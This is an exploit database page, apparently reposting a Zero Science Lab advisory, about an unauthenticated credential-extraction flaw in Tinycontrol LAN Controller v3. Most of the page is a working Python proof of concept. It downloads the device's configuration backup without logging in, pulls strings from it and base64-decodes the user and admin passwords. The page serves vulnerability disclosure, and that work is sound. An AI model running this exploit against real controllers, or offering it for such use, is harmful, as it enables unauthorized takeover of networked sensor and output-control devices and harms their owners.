Tinycontrol LAN Controller 3 Remote Credential Extraction

2023.09.05
Credit: LiquidWorm
Risk: High
Local: No
Remote: Yes
CVE: N/A
CWE: N/A

#!/usr/bin/env python # # # Tinycontrol LAN Controller v3 (LK3) Remote Credentials Extraction PoC # # # Vendor: Tinycontrol # Product web page: https://www.tinycontrol.pl # Affected version: <=1.58a, HW 3.8 # # Summary: Lan Controller is a very universal # device that allows you to connect many different # sensors and remotely view their readings and # remotely control various types of outputs. # It is also possible to combine both functions # into an automatic if -> this with a calendar # when -> then. The device provides a user interface # in the form of a web page. The website presents # readings of various types of sensors: temperature, # humidity, pressure, voltage, current. It also # allows you to configure the device, incl. event # setting and controlling up to 10 outputs. Thanks # to the support of many protocols, it is possible # to operate from smartphones, collect and observ # the results on the server, as well as cooperation # with other I/O systems based on TCP/IP and Modbus. # # Desc: An unauthenticated attacker can retrieve the # controller's configuration backup file and extract # sensitive information that can allow him/her/them # to bypass security controls and penetrate the system # in its entirety. # # Tested on: lwIP # # # Vulnerability discovered by Gjoko 'LiquidWorm' Krstic # @zeroscience # # # Advisory ID: ZSL-2023-5786 # Advisory ID: https://www.zeroscience.mk/en/vulnerabilities/ZSL-2023-5786.php # # # 18.08.2023 # # import subprocess import requests import base64 import sys binb = "lk3_settings.bin" outf = "lk3_settings.enc" bpatt = "0upassword" epatt = "pool.ntp.org" startf = False endf = False extral = [] print(""" O`'`'`'`'`'`'`'`'`'`'`'`'`'`'`'`'`'`'`'`'`'O | | | Tinycontrol LK3 1.58 Settings DL | | ZSL-2023-5786 | | 2023 (c) Zero Science Lab | | | |`'`'`'`'`'`'`'`'`'`'`'`'`'`'`'`'`'`'`'`'`'| | | """) if len(sys.argv) != 2: print("[?] Vaka: python {} ipaddr:port".format(sys.argv[0])) exit(-0) else: rhost=sys.argv[1] if not "http" in rhost: rhost="http://{}".format(rhost) try: resp = requests.get(rhost + "/" + binb) if resp.status_code == 200: with open(outf, 'wb') as f: f.write(resp.content) print(f"[*] Got data as {outf}") else: print(f"[!] Backup failed. Status code: {resp.status_code}") except Exception as e: print("[!] Error:", str(e)) exit(-1) binf = outf sout = subprocess.check_output(["strings", binf], universal_newlines = True) linea = sout.split("\n") for thricer in linea: if bpatt in thricer: startf = True elif epatt in thricer: endf = True elif startf and not endf: extral.append(thricer) if len(extral) >= 4: userl = extral[1].strip() adminl = extral[3].strip() try: decuser = base64.b64decode(userl).decode("utf-8") decadmin = base64.b64decode(adminl).decode("utf-8") print("[+] User password:", decuser) print("[+] Admin password:", decadmin) except Exception as e: print("[!] Error decoding:", str(e)) else: print("[!] Regex failed.") exit(-2)


Vote for this issue:
50%
50%


 

Thanks for you vote!


 

Thanks for you comment!
Your message is in quarantine 48 hours.

Comment it here.


(*) - required fields.  
{{ x.nick }} | Date: {{ x.ux * 1000 | date:'yyyy-MM-dd' }} {{ x.ux * 1000 | date:'HH:mm' }} CET+1
{{ x.comment }}

Copyright 2024, cxsecurity.com

 

Back to Top